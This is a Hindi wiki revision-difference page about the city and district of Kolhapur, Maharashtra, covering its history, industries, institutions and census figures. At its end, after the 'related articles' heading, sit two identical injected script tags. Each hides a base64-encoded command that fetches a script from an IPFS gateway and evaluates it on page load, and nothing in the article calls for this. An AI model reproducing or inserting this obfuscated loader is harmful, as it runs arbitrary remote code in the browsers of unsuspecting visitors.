"कोल्हापुर" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "खास" to "ख़ास")
छो (Text replace - "सिक़्क़े" to "सिक्के")
 
(5 सदस्यों द्वारा किये गये बीच के 12 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{tocright}}
+
[[चित्र:Chhatrapati-Shahu-Museum-Kolhapur.jpg|thumb|250px|छत्रपति शाहू संग्रहालय, कोल्हापुर]]
कोल्हापुर शहर और ज़िला, [[महाराष्ट्र]] राज्य, दक्षिण पश्चिमी [[भारत]], पंचगंगा नदी के तट पर स्थित है।  
+
'''कोल्हापुर''' शहर और ज़िला, [[महाराष्ट्र]] राज्य, दक्षिण पश्चिमी [[भारत]], [[पंचगंगा नदी]] के [[तट]] पर स्थित है।  
 
==इतिहास==  
 
==इतिहास==  
कोल्हापुर भूतपूर्व रियासत छत्रपतियों की कोल्हापुर शाखा की राजधानी और दक्कनी राज्यों के लिए ब्रिटिश रेजिडेंसी का केंद्र था। पंचगंगा के पास स्थित छोटी पहाड़ी ब्रह्रापुरी से इसकी प्राचीनता का पता चलता है। जहाँ प्राचीन शिल्प व रोमन सिक्के मिले हैं। यह [[बौद्ध धर्म]] का आरंभिक केंद्र था। लेकिन यहाँ नौवीं शताब्दी के महालक्ष्मी मंदिर से हिंदू प्रभाव का सशक्त रुप परिलक्षित होता है। इस शहर को ‘दक्षिण’ का वाराणसी कहा जाता है।  
+
कोल्हापुर भूतपूर्व रियासत छत्रपतियों की कोल्हापुर शाखा की राजधानी और दक्कनी राज्यों के लिए ब्रिटिश रेजिडेंसी का केंद्र था। पंचगंगा के पास स्थित छोटी पहाड़ी ब्रह्रापुरी से इसकी प्राचीनता का पता चलता है। जहाँ प्राचीन शिल्प व रोमन सिक्के मिले हैं। यह [[बौद्ध धर्म]] का आरंभिक केंद्र था। लेकिन यहाँ नौवीं शताब्दी के महालक्ष्मी मंदिर से हिन्दू प्रभाव का सशक्त रूप परिलक्षित होता है। इस शहर को ‘दक्षिण’ का वाराणसी कहा जाता है।  
 
==कृषि और खनिज==
 
==कृषि और खनिज==
कोल्हापुर एक समृद्ध कृषि क्षेत्र है, और अब एक महत्त्वपूर्ण वाणिज्यिक और औद्योगिक शहर है।  
+
कोल्हापुर एक समृद्ध [[कृषि]] क्षेत्र है, और अब एक महत्त्वपूर्ण वाणिज्यिक और औद्योगिक शहर है।  
 
==शिक्षण संस्थान==
 
==शिक्षण संस्थान==
 
यहाँ के शैक्षिणिक संस्थानो में कॉलेज ऑफ़ आर्किटेक्चर (स्थापना [[1984]]), शाहू इंस्टिट्यूट ऑफ़ बिजनेस एजुकेशन ऐंड रिसर्च, कॉलेज ऑफ़ इंजीनियरिंग ऐंड टेक्नोलॉजी और जी. ई. एस. आयुर्वेदिक मेडिकल कॉलेज शामिल हैं। यहाँ शिवाजी विश्वविद्यालय स्थित है।
 
यहाँ के शैक्षिणिक संस्थानो में कॉलेज ऑफ़ आर्किटेक्चर (स्थापना [[1984]]), शाहू इंस्टिट्यूट ऑफ़ बिजनेस एजुकेशन ऐंड रिसर्च, कॉलेज ऑफ़ इंजीनियरिंग ऐंड टेक्नोलॉजी और जी. ई. एस. आयुर्वेदिक मेडिकल कॉलेज शामिल हैं। यहाँ शिवाजी विश्वविद्यालय स्थित है।
 
==उद्योग और व्यापार==
 
==उद्योग और व्यापार==
यहाँ के उद्योगों मे वस्त्र निर्माण, इंजीनियरिंग उत्पाद उद्योग और चीनी प्रसंस्करण शामिल है। पश्चिमी घाटी और वर्णा नदी के किनारे गन्ना उत्पादन के कारण चीनी मिलों की संख्या बढ़ी है। यहाँ दुग्ध उत्पादन और प्रसंस्करण व मुर्गीपालन महत्त्वपूर्ण सहायक आर्थिक गतिविधियाँ हैं। कोल्हापुर के दक्षिण में गोकुल शिरगांव नामक नया शहरी क्षेत्र है। जो दुग्ध उत्पादन और औषधि निर्माण इकाइयों के लिए ख़ास तौर पर प्रसिद्ध है। इस प्रमुख गन्ना उत्पादन क्षेत्र में चीनी मिलें आम है। ज़िले के अन्य स्थानों को उनकी कुछ विशिष्टताओं के लिए जाना जाता है। इचलकरंजी को हथकरघा और विद्युतचालित करघे के लिए हुपारी को चांदी के आभूषणों और कापशी को चमड़े के सामान के लिए जाना जाता है।  
+
यहाँ के उद्योगों में वस्त्र निर्माण, इंजीनियरिंग उत्पाद उद्योग और चीनी प्रसंस्करण शामिल है। पश्चिमी घाटी और वर्णा नदी के किनारे [[गन्ना]] उत्पादन के कारण चीनी मिलों की संख्या बढ़ी है। यहाँ दुग्ध उत्पादन और प्रसंस्करण व मुर्गीपालन महत्त्वपूर्ण सहायक आर्थिक गतिविधियाँ हैं। कोल्हापुर के दक्षिण में गोकुल शिरगांव नामक नया शहरी क्षेत्र है। जो दुग्ध उत्पादन और औषधि निर्माण इकाइयों के लिए ख़ास तौर पर प्रसिद्ध है। इस प्रमुख गन्ना उत्पादन क्षेत्र में चीनी मिलें आम है। ज़िले के अन्य स्थानों को उनकी कुछ विशिष्टताओं के लिए जाना जाता है। इचलकरंजी को हथकरघा और विद्युतचालित करघे के लिए हुपारी को [[चांदी]] के [[आभूषण|आभूषणों]] और कापशी को चमड़े के सामान के लिए जाना जाता है।  
  
नरसिंह वाडी रत्नगिरि और बाहुबली नगर धार्मिक महत्त्व के स्थान है।  
+
नरसिंह वाडी [[रत्नगिरि]] और बाहुबली नगर धार्मिक महत्त्व के स्थान है।  
 
==जनसंख्या==
 
==जनसंख्या==
 
[[2001]] की जनगणना के अनुसार इस क्षेत्र की जनसंख्या 4,85,183 है, ज़िले की कुल जनसंख्या 35,15,413 है।
 
[[2001]] की जनगणना के अनुसार इस क्षेत्र की जनसंख्या 4,85,183 है, ज़िले की कुल जनसंख्या 35,15,413 है।
  
 +
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 +
==वीथिका==
 +
<gallery>
 +
चित्र:Mahalaxmi-Temple-Kolhapur.jpg|महालक्ष्‍मी मंदिर, कोल्हापुर
 +
चित्र:Mahalaxmi-Temple-Kolhapur-1.jpg|महालक्ष्‍मी मंदिर, कोल्हापुर
 +
चित्र:Rankala-Lake-Kolhapur.jpg|रनकला झील, कोल्हापुर
 +
</gallery>
 
{{लेख प्रगति
 
{{लेख प्रगति
 
|आधार=
 
|आधार=
पंक्ति 21: पंक्ति 28:
 
|शोध=
 
|शोध=
 
}}
 
}}
 
+
==संबंधित लेख==
__INDEX__
+
{{महाराष्ट्र के पर्यटन स्थल}}
 +
{{महाराष्ट्र के नगर}}
  
 
[[Category:महाराष्ट्र]]
 
[[Category:महाराष्ट्र]]
 
[[Category:महाराष्ट्र के  नगर]]
 
[[Category:महाराष्ट्र के  नगर]]
 +
[[Category:भारत के नगर]]
 +
__INDEX__
 +
__NOTOC__

11:03, 3 मार्च 2013 के समय का अवतरण

छत्रपति शाहू संग्रहालय, कोल्हापुर

कोल्हापुर शहर और ज़िला, महाराष्ट्र राज्य, दक्षिण पश्चिमी भारत, पंचगंगा नदी के तट पर स्थित है।

इतिहास

कोल्हापुर भूतपूर्व रियासत छत्रपतियों की कोल्हापुर शाखा की राजधानी और दक्कनी राज्यों के लिए ब्रिटिश रेजिडेंसी का केंद्र था। पंचगंगा के पास स्थित छोटी पहाड़ी ब्रह्रापुरी से इसकी प्राचीनता का पता चलता है। जहाँ प्राचीन शिल्प व रोमन सिक्के मिले हैं। यह बौद्ध धर्म का आरंभिक केंद्र था। लेकिन यहाँ नौवीं शताब्दी के महालक्ष्मी मंदिर से हिन्दू प्रभाव का सशक्त रूप परिलक्षित होता है। इस शहर को ‘दक्षिण’ का वाराणसी कहा जाता है।

कृषि और खनिज

कोल्हापुर एक समृद्ध कृषि क्षेत्र है, और अब एक महत्त्वपूर्ण वाणिज्यिक और औद्योगिक शहर है।

शिक्षण संस्थान

यहाँ के शैक्षिणिक संस्थानो में कॉलेज ऑफ़ आर्किटेक्चर (स्थापना 1984), शाहू इंस्टिट्यूट ऑफ़ बिजनेस एजुकेशन ऐंड रिसर्च, कॉलेज ऑफ़ इंजीनियरिंग ऐंड टेक्नोलॉजी और जी. ई. एस. आयुर्वेदिक मेडिकल कॉलेज शामिल हैं। यहाँ शिवाजी विश्वविद्यालय स्थित है।

उद्योग और व्यापार

यहाँ के उद्योगों में वस्त्र निर्माण, इंजीनियरिंग उत्पाद उद्योग और चीनी प्रसंस्करण शामिल है। पश्चिमी घाटी और वर्णा नदी के किनारे गन्ना उत्पादन के कारण चीनी मिलों की संख्या बढ़ी है। यहाँ दुग्ध उत्पादन और प्रसंस्करण व मुर्गीपालन महत्त्वपूर्ण सहायक आर्थिक गतिविधियाँ हैं। कोल्हापुर के दक्षिण में गोकुल शिरगांव नामक नया शहरी क्षेत्र है। जो दुग्ध उत्पादन और औषधि निर्माण इकाइयों के लिए ख़ास तौर पर प्रसिद्ध है। इस प्रमुख गन्ना उत्पादन क्षेत्र में चीनी मिलें आम है। ज़िले के अन्य स्थानों को उनकी कुछ विशिष्टताओं के लिए जाना जाता है। इचलकरंजी को हथकरघा और विद्युतचालित करघे के लिए हुपारी को चांदी के आभूषणों और कापशी को चमड़े के सामान के लिए जाना जाता है।

नरसिंह वाडी रत्नगिरि और बाहुबली नगर धार्मिक महत्त्व के स्थान है।

जनसंख्या

2001 की जनगणना के अनुसार इस क्षेत्र की जनसंख्या 4,85,183 है, ज़िले की कुल जनसंख्या 35,15,413 है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>